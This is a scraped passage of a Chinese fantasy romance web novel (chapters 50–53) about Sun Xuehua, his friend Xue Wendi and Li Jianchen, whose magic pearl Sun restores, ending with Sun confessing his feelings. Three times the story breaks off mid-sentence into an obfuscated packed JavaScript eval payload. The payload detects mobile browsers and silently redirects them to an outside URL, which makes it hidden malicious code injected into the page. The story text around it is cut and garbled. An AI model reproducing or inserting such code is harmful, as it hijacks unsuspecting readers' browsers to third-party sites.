“哈哈哈。”薛闻笛没忍住笑出了声,对方脸色煞白,估计是生了好大的闷气,声音低了许多:“你笑什么?” “对不住。但是我觉得呢,你没必要拿我当敌人。”薛闻笛解释着,眉眼弯弯,李见尘不语,紧紧盯着他,似乎是在思考他这些说辞的真实性。孙雪华觉得这人简直莫名其妙,有些不悦:“你想自己在这儿晒太阳,就自己晒着吧。” 言罢,他便催着好友快走,薛闻笛点点头,就一手提着那条鲫鱼,一手拿着两根鱼竿,慢悠悠往回走。 走到一半,孙雪华忽然站住脚,薛闻笛便道:“你担心他就去看看吧,现在都没有追上来,估计已经倒在地上了。” 孙雪华抿了抿唇,犹豫片刻:“我去去就回。” “不用,我跟你一道去。你的伤刚好,一个人把他背回来太费力了。”薛闻笛劝解着,就将手里的东西交给他,然后和人一道去找李见尘。 果不其然,对方晕在了那棵柳树下,恰好这个时节,正是柳荫最葱郁的时候,他们先前坐着的地方又刚刚灌木丛生,李见尘一倒,几乎被完全掩盖住了身形,没人发现他。 孙雪华注视着那张苍白的脸,心下又涌上来一阵不可言说的怪异情绪,他一时难受,便稍稍偏过头去,不再去看那个人。薛闻笛将昏迷的李见尘背起来,招呼着:“走吧。” “嗯。”孙雪华点点头,与人并肩同行。 李见尘悄悄睁开眼,看向他,孙雪华依旧端着那张冷肃的脸,不知道在想些什么。李见尘眉头微蹙,像是委屈极了,手一伸,攥住了对方的衣袖。 孙雪华一怔,扭头一看,李见尘的手又悄无声息地滑了下去,静静地闭上了眼睛。 “他想法也挺多的。”薛闻笛直言道,孙雪华有些心乱,不该如何是好,沉默半晌,只憋出来一句:“辛苦你了。” “辛苦的是你,不是我。”薛闻笛劝慰着,将人背回了屋子,放到床上。 “你们先歇会儿,我去把鱼洗了。”他说着,很快就离开了这里。 孙雪华站在床边,望着昏睡的某人,又想起来初次见面,给这人盖被子的场景,心绪不宁,索性扯过薄被,将人裹住,逃也似的走了。 50. 第 50 章 薛闻笛打了一桶冷水,将那条鲫鱼放了进去。那鱼儿在里头快活地甩甩尾巴,转了两圈,似乎在谢他不杀之恩。薛闻笛蹲在桶边,左看右看,叹道:“客人不想吃,等晚上我就放你回去。” 他正说着,桶边忽然出现了一道影子,他抬起头,就见孙雪华站在他前头,面色不佳。薛闻笛笑笑:“你没陪着他啊?” 对方摇摇头,指了指那条鲫鱼,薛闻笛答道:“我们晚上就不喝鱼汤了,省得他又闹。” “不用迁就他,他爱喝不喝。” 孙雪华不高兴,是很明显的不高兴,这是薛闻笛认识他数十年来,都极少见到的。 不对劲,很不对劲。 薛闻笛站起身,拉着他躲到厨房,关上门,一人一张矮脚凳,在灶台后头坐着。 “小雪,你跟他之间,究竟发生了什么?” 薛闻笛有些担心,虽然他隐隐猜到了答案,但还是不敢妄下定论。 孙雪华抬眼,注视着自己的好友,他本来有许多话要说,但这一刻却又不知该从何说起。他微微蹙眉,轻声道:“小楼,我一直想不明白一个问题,我不知道你会不会知道这个答案。” “说来听听呢?” “李见尘说他非常喜欢我,可是喜欢我,却又总是惹我生气。”孙雪华眼睫轻颤,声音低了下去,“而我,又总是很轻易地原谅了他。” “他明明是个巧言令色,信口雌黄之人,我却一而再,再而三地做出错误的决定。” 孙雪华说着,双手微微握拳,犹豫不决:“怎么办呢,小楼?” 薛闻笛一愣,不知道该作何回答。他抿着唇,斟酌片刻,说道:“你,你是不是想问我,你喜不喜欢他?” 孙雪华沉默良久,久到薛闻笛以为他会回避自己。 但是他没有。 “我想,很有可能是这样,可我没有办法承认这一点。”孙雪华眼神微转,很是纠结,“李见尘和我们终归不是一路人,现在不是,将来更不可能是,他这样的性格注定会带来无法预料的波折,我无法认同他,也无法改变他。我清楚地知道我不该再插手他的一切,可是我无法置之不理。” 他轻轻闭了闭眼,似乎是累极了,深深呼出了一口气,薛闻笛听懂了他的意思,温声劝着:“小雪,你不必现在就想清楚,也不必现在就给出一个答案,你放松些,我们这次下山就是出来玩的,何必把自己困住呢?不管发生任何事,不管你做出什么样的决定,我都和你在一起,任何结果,任何困难,我都能和你一起分担。” 孙雪华默然:“即使放轻松,我也无法顺从本心。” “小雪,你本来就是个正直善良,心怀苍生之人,你没有办法接受李见尘,这就是你的本心,这不是你的问题。我倒是觉得,真正该想清楚的是那个人才对。” 薛闻笛宽慰着,不由莞尔:“你没有办法接受李见尘,才是意料之中的事情。” 孙雪华抬眸,看向自己的友人,薛闻笛笑起来总是灿烂明媚的,每一天都像初见的那天。孙雪华豁然,点了点头,不再言语。 是夜,薛闻笛还是炖了鱼汤,做了几道家常菜。 李见尘昏了一天,好不容易醒了,就瞧见一个人走了进来,似乎是要查探他的情况。李见尘半眯着眼,恍惚间以为是孙雪华,结果待人走近,才看清那是薛闻笛。他当下就不高兴了,翻了个身,面朝里躺着,也不说话。薛闻笛见状,问道:“你醒了?能自己起来吗?不能的话,我过会儿把饭给你送进来?” 李见尘刚想拒绝,可一想到孙雪华对自己和对这人截然不同的态度,就觉得自己不能表现得太明显,要是他真和薛闻笛起了正面冲突,那到时候被丢出去的一定是自己。 “小雪呢?” 他慢吞吞地问着,仍是背对着人的姿势,薛闻笛没有隐瞒,告诉他:“小雪在隔壁,我们马上吃饭了,我过来看看你醒没醒。” “怎么是你来?” “因为小雪不想来。” 李见尘:“……” 他翻过身,就看见薛闻笛顶着一张人畜无害的脸,有些诧异地看着自己。 李见尘不太高兴,又装起可怜来,眉眼低垂,像是受尽委屈似的:“他就这么讨厌我吗?” “这你要自己问小雪。” “你是他的好朋友,他都没有告诉你?” “他都告诉我了,但正因如此,你才应该亲自去问他。”薛闻笛对李见尘了解不多,很多话不能往深了说,只道,“你能起来的话,就和我一起去吃饭吧,别让小雪等急了。” 李见尘听了,不情不愿地坐起身,一阵眩晕直冲头目,他捂住自己的额头,眼前发黑,脸色发白,薛闻笛扶了他一把,说着:“慢点,不着急。” 李见尘:“……” 不爽,非常不爽。 他不动声色地推开这人,说着:“多谢,我没事。” “嗯。”薛闻笛自然也听得懂他的意思,便没有多话,领着人去到隔壁屋子。 孙雪华正好盛了饭,碗筷也整整齐齐地摆在桌上,当然,只有两个碗。他看见李见尘,指了指门外:“厨房还有碗筷和米饭,自己去弄。” 某人动也不动,这个老宅,拢共就两间房,薛闻笛和孙雪华住一间,他睡另一间。这一间应该是最常住人的,麻雀虽小,五脏俱全,到处都有生活过的痕迹。李见尘看了,心情就更加烦闷:“你们睡一张床?” “啊?”薛闻笛愣了下,这屋子的床板很小,只够一个人躺着,翻身都很费力,他平时都打个地铺,反正他很习惯,也不觉得有什么。但李见尘这么一说,找茬的意味就很明显了,他看看孙雪华,对方脸色很不好看,他便心领神会,笑了笑:“当然了,我和小雪什么关系,秉烛夜谈,抵足而眠。” 李见尘听了,气得差点又昏过去,孙雪华看都没看他一眼,先坐了下来,招招手:“坐吧,小楼。” 他爱吃不吃,一天到晚,不知道在别扭什么。 孙雪华心有郁气,本来就冷肃的脸,此刻就更是散发着强烈的寒意。李见尘默然,站了一会儿,问道:“你就这么讨厌我吗?” 孙雪华没有立刻回答。 李见尘嘴一撇,眼一闭,摇摇晃晃又要倒下去似的,薛闻笛又扶了他一把,一脸关切:“你没事吧?” 李见尘:“……” 好烦,多了个人就烦得要死。 他微微摇头,站站好,坐到孙雪华身边,对方没什么表示,薛闻笛想笑又不敢笑,没有吱声。 夜幕降临,白天的热闹已完全退去,那些原本被藏在深处的情绪也逐渐显露出来。 李见尘干坐在那儿,捧着碗,也不吃,一副要死不活的样子,孙雪华理都没理,但他感觉这人肯定不会安分的。果不其然,没一会儿,李见尘就悄悄伸出脚,勾着脚尖,轻轻点了点孙雪华的小腿,对方一顿,默不作声地往一边缩了缩。可李见尘不依不饶,鞋尖蹭着他的脚踝,动作十分暧昧,孙雪华当即踢了他一脚,力道不重,但足以表达他的不满。只不过李见尘可不是随便就会被吓到的性子,他甚至觉得分外有趣,饶有兴味地说着:“小雪平时是不是也这么教训不规矩的弟子?” 孙雪华不言,李见尘笑笑:“哎呀,我倒是忘了,小雪身为一派掌门,恐怕没人敢以下犯上。” “你要是不想吃,可以现在回屋去。” “一个人呆屋里很闷的。” “那你去院子里坐着。” 李见尘:“……” 气氛又古怪起来。 薛闻笛看看这个,看看那个,若有所思。孙雪华忽然问他:“小楼,你喝汤吗?锅里还有,我去盛点儿过来?” “嗯。”薛闻笛点点头,孙雪华起身就走,李见尘愈发烦闷,拿着双筷子在饭碗里戳来戳去,薛闻笛瞥了他一眼:“这饭菜是不是不和你胃口?你要不要回屋继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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孙雪华握着那颗宝珠,轻声道:“李见尘是听海崖无晴门开山鼻祖,世居海边,按理说,不至于畏水。可他之前掉进江里,不声不响地沉了底,我去捞他的时候,他好像受到了某种封印,五感封闭,对外界的刺激毫无反应。而这颗珠子也是像现在这样,慢慢变成了一颗石头,是我将自身灵力灌入其中,才让它重现光芒,李见尘才恢复过来的。” “你的意思是,这颗珠子不能沾水,沾了水就会变成石头,李见尘也一样?”薛闻笛想了想,摇了摇头,“不对,我第一次碰到李见尘的时候,他明明还能攻击我。” 孙雪华不言,薛闻笛注视着他,忽然一个激灵,颇有些担忧:“小雪,这珠子里隐约闪烁的灵光,是不是你的?” 孙雪华垂眸,他不想隐瞒友人,可又怕对方担心,可薛闻笛并不是寻常人等,即使他不说,对方也会知道,这不过是时间问题。 “对,是我的。” 孙雪华点了点头,他可以清晰地感知到这颗宝珠里犹如火苗般跳动的,属于自己的灵力,也许正是这股力量,支撑着李见尘走到了今天。 “李见尘在江心洲设下的法阵,就是要吸收洲上所有人的力量,不仅仅是灵力,还有生命,他曾经说过,他亟需这些力量,以此来拯救李闻棋。” “但你记不记得,这颗宝珠吸收过无渡峰的雷场之力,这证明它本身蕴含的力量就已经十分强大,可听李见尘的意思,他无法依靠这等力量救活李闻棋。” “所以我猜测,李见尘之所以要设下缚灵铸器之阵,不是因为宝珠力量不够,而是他本人需要突破。” “他是这颗宝珠的主人,也受到这颗宝珠的威胁。一旦他入了水,宝珠的某种封印就会启动,让他陷入沉睡。” 孙雪华说了许多话,昏黄的烛火印在他雪色的眼眸里,竟是透出几分哀伤。 51. 第 51 章 “若真是这样,那要救他,岂不是还需要我们重新往这颗珠子里灌入灵力?”薛闻笛若有所思,“就由我来吧,你的伤刚好,不能冒险。” 孙雪华摇摇头:“这颗珠子非比寻常,还是我来吧。” “可是——” “我需要一点时间,小楼。” 薛闻笛默然,没有再阻止,只劝好友小心行事,之后便去了外边,轻轻关上了房门。 孙雪华微叹,注视着昏睡的某人,一直逃避的情绪仿佛在一瞬间涌了上来,令他无处可躲。 如果李见尘能与他同心同德,如今他们便不会是这般的局面。 “孙掌门,你说的究竟是你的爱,还是你的道义?” 李见尘的话犹言在耳,孙雪华心中刺痛,攥紧那颗宝珠,将自身灵力灌入其中。 他不懂,他不明白,那些理想和信念才是支撑自己走到今天的梁木,若是倒塌,那么孙雪华这个人,也将不复存在。 一滴热汗从眼睫处滴落,正落在那青色的苔藓上。一点灵光从镂空的花纹中央晕开,渐渐驱散了宝珠上沉积的阴霾。 孙雪华感觉身体一轻,一股强烈的眩晕感直冲巅顶,他强行站稳脚跟,缓缓坐到地上,大半个身子靠着床榻,将那颗宝珠放到李见尘掌心。做完这一切,他便低下头,眉心贴着对方的手腕,沉默地闭上眼睛。 薛闻笛说得没错,他的损耗确实很大,现在贸然出手,只会让他的情况雪上加霜。 可是,又有什么办法呢? 孙雪华始终无法对这个人置之不理。 宝珠光彩复生,流光溢彩,小小的屋子里很快漂浮着层层金光,宛如水上荡开的涟漪,完完全全包裹住二人。 孙雪华昏昏沉沉的,但还是可以感知到周围的一切。 他听见有人在叫他:“孙掌门。” 那声音仿佛穿越了厚重的岁月,随着山风迎面扑来。 孙雪华抬头看去,恍惚间好像回到了临渊的江边,江上热热闹闹的,到处都是来访的客人。 水暖天晴,和风煦煦。 这似乎是一个春天。 春天的临渊会邀请天下宗门,前来会武比试。孙雪华执掌临渊三十七年,见过大大小小无数次比试,这又是哪一年呢? 他静静地站着,又听见那个声音叫他:“孙掌门。” 他再次看去,那些意气风发的年轻人站成了一排,恭恭敬敬地朝他行礼,而后便三五成群,结伴同去。 “孙掌门,我与师兄打算切磋一番,不知能否请您观战,指点一二?” 不知道又是谁在和他说话,孙雪华总也看不清他们的脸,可这一次,他抬眸看过去,却瞧见了一双熟悉的含情脉脉的眼睛。 “李见尘?”孙雪华想说话,却一点声音都发不出,他只能沉默地站着,什么都做不了。 “孙掌门日理万机,是我们二人唐突了。” 那双眼睛的主人笑了笑,温柔可亲,像这三月的春风,一点都不似李见尘那般狡黠可恶。 孙雪华看见了他背上的那把剑,锋芒隐约,和他本人一样柔和清越。这一瞬间,孙雪华就什么都想起来了。 这是李闻棋。 原来他早就来过临渊,见过自己。只是那时候,人潮拥挤,一个转身,就再也不记得这匆匆一面了。 孙雪华心头闷痛,缓缓抬起头来,那颗宝珠收敛了全部光芒,恢复了往昔的平静,寂静的夜色涌入这狭小的屋子,蜡烛也灭了,只留下一小滩尚有余温的蜡油。 李见尘依旧昏睡着,手里虚握着那颗宝珠,没有醒来的迹象。孙雪华注视着他,想着,也许是自己的灵力已与这颗宝珠融合,所以才会回想起关于李闻棋的事情。 “你到底经历了什么?” 孙雪华喃喃着,悄悄伸出手,覆在李见尘的掌心上,对方的指节微微一动,孙雪华就知道他早就醒了。 “你怎么又骗我?” 一模一样的话,李见尘听了不知道多少遍,可这次,他却没有听出任何愤怒和埋怨,只有一丝无奈。 他睁开眼,看向那个人,尽管屋里黑漆漆的,可他还是察觉到对方的神色并不好看。 “你如果真的喜欢小雪,你就应该尊重他。” 李见尘想到薛闻笛的劝解,难得没有犯浑,低声道:“谢谢你。” “嗯。”孙雪华说不上来心里什么滋味,便打算起身离开,他刚要站起来,李见尘便紧紧拉住他,小声说着:“再陪我一会儿,好不好?” 孙雪华默然,李见尘收回那颗宝珠,与他十指紧扣,恳切地说着:“就一会儿,可以吗?” 孙雪华摸了摸额头,仍是有些昏胀,神思好像也停滞不前,那些剪不断理还乱的情绪很快就将他的理智淹没,他鬼使神差地点点头,脱了鞋,和人挤在一块。 李见尘愣了许久,有些不敢置信。 可孙雪华并没有什么特殊的反应,他觉得很累,很疲惫,而这张床,是唯一能够栖息的地方。 薛闻笛说的话,句句属实,这张床确实很小,两个人挤在一起,只能胸膛贴着胸膛,一点缝隙都没有。 李见尘嫉妒不已,哀怨地问着:“你和薛闻笛每天晚上都这么睡?” “他打地铺。” 孙雪华全然忘记了今天发生的一切,他连为什么李见尘要问这个问题,都记不起来了。他现在只想睡觉,于是他换了个舒服些的姿势侧躺着,好留出些空间。 听了这话的李见尘很是高兴,有些忘乎所以地抱住他,孙雪华依旧表现得很平静,他闻到一股很淡很淡的香味,是和在江心洲的夜晚一模一样的味道。 “你身上到底是什么香?”他淡淡地问着,昏昏欲睡。 李见尘回答道:“这不是香。” “不是香。”孙雪华闭上眼,很奇怪,不是熏香,那又是什么? 他的思维开始混乱,灵魂也开始下坠,恍惚间,他又回到了那深不见底的江水中,看到李见尘躺在怪异的石林中,一圈又一圈的珠光推开那汹涌的江水,像盛开的莲花,而他就是藏在其中的莲心。 孙雪华忽地抓住李见尘的手,像是在确认他完好无损那样,摸了摸他的脉搏,对方心头一颤,紧紧抱住他:“我没事的,小雪,我没事。” 那些温热的气息从后背、耳侧传来,孙雪华小声应着:“嗯。” 话音刚落,他就坠入了无边的梦境。 李见尘抱着他,哑着嗓子说道:“我身上的味道,不是熏香,是封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762409|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 印。” 就是你见过的,那朵盛开的莲花。 那是保护我的结界,也是禁锢我的牢笼,更是许多年前,那场阴谋刻下的印记。 李见尘思绪万千,默默低下头,贴着孙雪华的颈侧,也睡了过去。 薛闻笛等了许久,没见好友出来,就轻轻推门进来,瞧见床上两个人已进入梦乡,便没有打扰,给他们盖好薄被,就去另一间屋子休息了。 次日清晨,孙雪华先于李见尘醒来,发现他们抱着睡了一整晚,先是愣了愣,但没说什么,轻轻掰开这人的手,可一动,对方就醒了。 “难受。”李见尘一脸无辜地撒着娇,谎话张嘴就来,孙雪华没有搭理他,直接翻身下床,去到了外边。 李见尘仰面躺好,又闭上了眼睛。 薛闻笛刚做好早饭,看见孙雪华,笑着:“小雪你都醒了?我刚准备去叫你。” 孙雪华顿了顿,他知道好友一定都看见了,既然这样,便也没有什么好纠结的。 “小楼,我有话想和你说。” “好。” 薛闻笛给他盛了一碗热粥,放了点咸菜,又给自己盛了一碗,两个人一同坐在院子里吃早饭。 这段时间的天气一直都很好,晨风舒爽,阳光明媚,好到孙雪华以为自己已经隐遁红尘,逃避了一切他应该或者不应该承担的责任。 “小楼,我在很多年前见过李闻棋。” “啊?什么时候?” “不记得是哪一年了,可能是临渊春试的时候。” “原来是这样,那过两年春试再开的时候,我们再会会他。”薛闻笛笑着,仿佛所有的困难都可以迎刃而解。 孙雪华不由莞尔:“但愿吧。” “我们一定能拔得头筹。”薛闻笛信心满满,可没一会儿他又十分懊恼似的,叫了一声,“不行,我们可是前辈,不能参加了,我派我师弟们去应战。” “哈哈。”孙雪华轻笑,应着,“小年应该会很高兴吧。” “那当然了。说到这个,我这次下山,还给你带了把新剑。”薛闻笛说着,便召来自己的剑袋,从中取出一把崭新的长剑。 皓光似雪,锋芒冷冽,剑柄上刻着一簇梅枝,点缀着零星的红色玛瑙,光彩斐然。 “我亲手锻造的,小鱼和师弟们都来帮过忙,剑柄的花纹是小年和阿青提议做的。” 一个又一个熟悉的人名从薛闻笛口中说出来,孙雪华感动不已,只见对方又从剑袋中取出一封信,交到他手上:“至于锻造这把长剑的材料,是詹前辈送的。” “临渊铸剑池未开,所有的东西都还在封存中,岁寒峰的铸剑池虽然能用,可也没有合适的原料,我那天还在想要不要去北地找栾兄,看看他那里有没有,结果詹前辈就托他的羽鹤送来了。” 薛闻笛滔滔不绝地说着,孙雪华拆开信件,上面只有寥寥数语。 “孙掌门敬上。詹某听闻孙掌门下山出游,特以此陨铁为贺。此铁乃是五百年前,锁春谷谷主李霁所遗,藏于我翎雀宫中数百年之久,与横雁所用天外陨铁乃同根同源,詹某听闻孙掌门与薛小楼乃至交好友,此次铸剑,定可续伯牙子期之谊,共享太平之乐。” “翎雀宫詹致淳敬言。” 52. 第 52 章 寥寥数言,句句情真,字字意切,薄薄的一张纸在此刻似有千斤的分量。孙雪华久久不言,他与这位仙风道骨的前辈相处不多,可多受对方照拂,感激之情自是难以言表。他不免念起去世多年的师父,心下又是一片怅然。只是他并未表露太多,将那信笺小心收了起来,薛闻笛问他:“小雪,你打算给这把剑取个什么名?” 孙雪华注视着这把长剑,红梅映雪,清辉皎洁,恍惚间还能感受到隆冬时节,山下江水吹来的冷冽寒风,风中全是年少记忆里,那些灿烂明媚的笑脸。 “师兄。” “师兄!” “孙掌剑。” “掌门师兄。” “大师伯!” “掌门。” …… 那声声呼唤,穿过漫长冗杂的岁月长河,犹如三月春风,拂开落满尘埃的旧门,催着那一支新栽的花儿生根发芽。 他先是孙雪华,而后再是临渊掌门。 是他要先成为这样正直、勇敢、善良、坚韧之人,而后才会成为被众星拱月的正道魁首。 李见尘,他到底能不能明白? 孙雪华垂眸:“就叫它,逢君吧。” “嗯,正是江南好风景,落花时节又逢君,好名字。”薛闻笛故作深沉地摸了摸下巴,孙雪华低眉:“是重逢,也是初见。” 薛闻笛一怔,猛地反应过来:“哦~” 孙雪华抿了抿唇,岔开了话题:“说到这个,我第一次见你的时候,也差不多是这个季节。” “是吗?我怎么记得要更早一些?”薛闻笛揶揄着,孙雪华仍是面不改色:“先吃饭吧,吃完我们可以比划两下,新铸的剑,得开锋。” “行,都听你的。”薛闻笛爽快地答应下来,十分有精神气儿。 孙雪华但笑不语。 可他虽然嘴上这么说,心里面还是有几分挂碍,吃完饭,他就先去看了眼李见尘。那人已经起身,有些木讷地坐在床边,柔软的长发披在肩侧,三千愁丝如水泻,万般心绪在眉间。 孙雪华顿住脚,默然而立:“吃饭吗?” 摇摇头。 “还难受吗?” 李见尘脸色很不好看,跟个霜打的茄子似的,蔫得不行:“谈不上。” 他似乎还在和孙雪华较劲,可因为伤势未愈,倒不显得讨厌,孙雪华没有和他争辩,只道:“过会儿我给你送点热粥过来,你大病一场,要好好养养。” 李见尘闻言,看向他,忽地偏了下头,问道:“你的新剑?” “是。” “薛闻笛送你的?” “是。” 李见尘心中愤懑,可又实在没有力气发作,眼神一沉,汹涌的疲惫感如潮水般涌来,他像是再次坠入幽深的江底,动弹不得。 孙雪华隐约猜到几分,轻叹:“我和小楼是挚友,但也仅限于此,你不要再对他怀有敌意了。” “哦?孙掌门又怎知我对他有敌意?”李见尘声音很低,每一个字都像落在一团棉花上,没有半点力量。可孙雪华听着,又仿佛被撞了下心扉,那些原本被他压抑着的复杂情绪又一次苏醒,在这宁静的日子里,荒唐地生长着。 他清晰地知道,那是一种同情和怜悯,甚至再进一步,可以称之为一种,心疼与爱惜。 他注视着眼前人,有些心乱:“我看得出来,你并不需要明知故问。” 孙雪华微微蜷起手指,像是在思考着什么。 李见尘注意到他的动作,脸上浮现出一丝若有似无的笑意:“孙掌门这是想再与我说教一二?若真是如此,大可不必。” 话音刚落,孙雪华忽地握拳,可他神色未变,不曾表现出任何不满,李见尘便无法猜透他这个动作的意义,只是习惯性地露出自己的爪牙,戏谑着:“这是触到孙掌门逆鳞了?要教训我一顿?” 他以为对方会一如既往地训斥自己的狡猾、贪婪和无耻,可孙雪华并没有,他镇定地说着:“你不必和小楼争,你们对我的意义是不一样的。” 李见尘一怔,忽地眉头紧锁,郁气横生:“意义,意义,又是意义,我讨厌这种大道理,你还不明白吗?” “我的人生信条就是这样。”孙雪华打断了他的话,“我所信奉的爱,就是毫无保留的信任、全心全意的支持和贯彻如一的信仰,我告诉过你,如果想要与我同行,那必须接受这样的我。换言之,如果我变得不再像我,那你喜欢的又是谁呢?该想清楚这个问题的人是你才对。” 李见尘攥紧指节,冷笑一声:“这些对我来说都不重要,得到你,才最重要。” “所以我喜不喜欢你,也不重要?” “是。” 孙雪华低眉,像是早早预料到这个答案,很是平静,一点情绪起伏都没有:“但这个问题对我很重要。” 他顿了顿,像是下定了某种决心,缓慢又坚定地说道:“你对我来说,是特别的。” “尽管你这个人蛮横自负,谎话连篇,与我的信条完全背道而驰,但于我而言,你又实在难以忽略。” 孙雪华眼神微转,平日里的冷肃疏离悄然退去,神色柔和许多:“一直以来,我无法承认我对你动了心,是因为我无法接受你站在我的对立面,可是今天我想通了,喜欢就是喜欢,这和我们能不能在一起,其实是两件事。” “今日是今日,明日是明日。” 孙雪华没有将窗户纸彻底捅破,只轻叹一声,便转身离去,只留下李见尘一人呆坐着,不发一言。 “今日是今日,明日是明日。” 他喃喃着,仿佛陷入了巨大的混乱之中。 孙雪华喜欢他。这位冷肃端方的临渊掌门承认自己对他动了心。 可是他们并不能在一起,因为他们终究陌路殊途。 李见尘额上冒出一层薄薄的虚汗,本就没有几分血色的脸更是煞白,他双手掩面,倒在了床上。 院外传来舞剑声。 那冷铁撞击之后的铿鸣非常清脆,很轻易就穿过陈旧的窗纸,落到他的耳边。 李见尘知道,是孙雪华和薛闻笛在过招。 他们年少时,就经常这样吧?策马同游,比肩并辔,又或者,林间比剑,松下论道。 妒忌的种子一旦生根,就会在荒芜的心田疯长,直到破开理智的束缚,化成熊熊燃烧的野火,烧穿一切伪善的和平。 李见尘闭上眼,捂住耳朵,假装自己听不见。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762410|174439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没过多久,外面的动静就停了,房门被再次推开,孙雪华端了碗热粥进来,说着:“起来吃点吧。” 李见尘动也不动。 他便将粥碗放在一边的小桌上,坐在了床边,手指点了点对方的肩膀,李见尘翻了个身,瞪了他一眼:“你怎么又来了?” “我为什么不能来?” 孙雪华这次有点想笑,他偶尔会觉得这人也有可爱的地方,比如说现在,想发脾气却又虚弱得很,就像一只野猫对你张牙舞爪,最后却连衣角都挠不到。 “你不是在和人切磋吗?应付两招就回来了?看来薛闻笛也不怎么样。” 李见尘明知道他不喜欢,可非要这么说,那双漂亮的眼睛里满是怨怼,孙雪华轻声道:“担心你,就回来了,小楼不会介意的。” “是是是,他不会介意,是我小肚鸡肠,以小人之心度君子之腹。” 李见尘话音未落,就被孙雪华捂住了嘴:“我好心回来看你,你再闹下去,我就不客气了。” 对方眉梢一扬,有些呼吸不畅,真就熄了火。孙雪华便松开他,将那碗热粥端了过来,李见尘仰面朝上躺着,脸色还没缓过来:“我不舒服,坐不起来。” 孙雪华见状,只好又放下粥碗,将被子叠高,垫在他身后,让人靠坐着。 “手也没力气。” 李见尘得寸进尺。 孙雪华一句话都没说,一个多余的眼神都没给,端起粥碗,用小勺一口一口给他喂。李见尘咽了两口,又不安分地问道:“你有多担心我?” “一点点。” “一点点是多少?” “小孩子才会问这种问题。” 李见尘自讨没趣,嘴一抿,不肯喝了。孙雪华手一顿,将粥碗放在一边,一手捏着小勺,一手捏住这人的下巴,硬是给人灌了下去。李见尘嘴一张,咬住了那勺子不肯松开,孙雪华眼角直跳,说着:“李门主,你是不是太过分了?” 李见尘眨眨眼,仿佛在说:“是又如何?” 孙雪华一把掐住他的手腕,轻轻一拧,对方吃痛,就松了嘴,将勺子吐了出来。这下,李见尘就真的老实了,他虽然觉得和孙雪华作对没有生命危险,但痛感也是实实在在的,没必要在这种时候硬吃苦头。 “我想去五柳山庄找阿音和闻棋。” 李见尘开始寻找话题,并观察着对方的脸色。 平静如水。 李见尘很是失望。 “等你的事情解决,我自然会带你去。”孙雪华回答着,手上动作未停,李见尘又不怕死地调笑起来:“我的事情?你是指我们能不能在一起的事情?” “是宝珠和你。” “这有什么好解决的?你难不成要解决我?” 热粥见了底,孙雪华默默将碗放下:“我一直很想问你,为什么你掉进水里之后,那颗宝珠也会失去光彩?就算你不识水性,宝珠也该护主才对。” “我的珠子与我一体相生,我陷入昏迷,它也会变成一颗石头。” “为什么会这样?” “孙掌门想知道?”李见尘笑了起来,孙雪华就有了一些预感。 对方眉眼弯弯:“亲我一下。” 53. 第 53 章 一碗热粥下肚,李见尘明显有了些力气,唇色也红润了几分,没有先前那么惨白,这么一笑,以往的无赖劲儿就又有了冒头的趋势。孙雪华并不意外,安静地坐在一边,既没有同意,也没有拒绝,李见尘以为他正在犹豫,又开始拱火:“孙掌门若是不愿,那就算了,我也不喜欢强人所难。” “既然知道,又何必提出来?不过是心存侥幸,认为我会答应。”孙雪华毫不客气地戳穿了他的心思,李见尘轻笑:“谁让孙掌门甚得我心?见之欢喜,自然要多多亲近才是。” 孙雪华反问他:“我救了你,难道还不足以得到这个问题的答案吗?” “人都是贪婪的,尤其是我这样的人。” 李见尘大言不惭地说着,又靠近了些,那张无辜可怜的脸好像下一刻就会贴上来,一呼一吸之间,全是令人心生旖旎的香气。 孙雪华垂眸,不去看他,李见尘压低声音,悄然问道:“孙掌门为何要避开我?莫非——” 他伸出手,掌心按在了对方心尖处,衣襟之下传来阵阵有力的心跳,像这人一样坚韧,不可摧折。 李见尘忽地敛了笑意,他们近在咫尺,却又远隔天涯,那波澜未起的心跳声时刻提醒着他,孙雪华并不会为他自乱阵脚。 他们是两个世界的人。 孙雪华不愿承认他对自己动了心,李见尘同样无法面对,自己亦是被对方吸引。因为这样光风霁月之人,是万万不可能走下神坛,和他在一起的。 喜欢是喜欢,结缘是结缘。 承认动心是很简单的,长相厮守却又有几个人能做到呢? 今日是今日,明日是明日。 李见尘轻笑:“孙掌门当真是坐怀不乱呢,都这个时候了,还能端着一副冷漠的姿态。” 他说着,又将手往对方衣襟里伸了伸,孙雪华抓住他的手腕,还没用力,这个无赖就先叫了出来:“疼。” 孙雪华:“……” 李见尘眨眨眼:“真的疼。” 孙雪华低眉,似乎是妥协了,握着他的手,在他的手背上落下一个轻柔的吻。 李见尘一愣,不由地屈了下指节,这个吻来得猝不及防,就像那只迅疾的掠水而过的白鹭,一抹皎洁的影子飞过,只剩下不断摇晃的涟漪。 “孙掌门,你这是什么意思?”李见尘有些发不出声响,喉咙里又苦又涩,难以消解。 “亲你一下。”孙雪华十分坦然,李见尘摇摇头:“不算。” 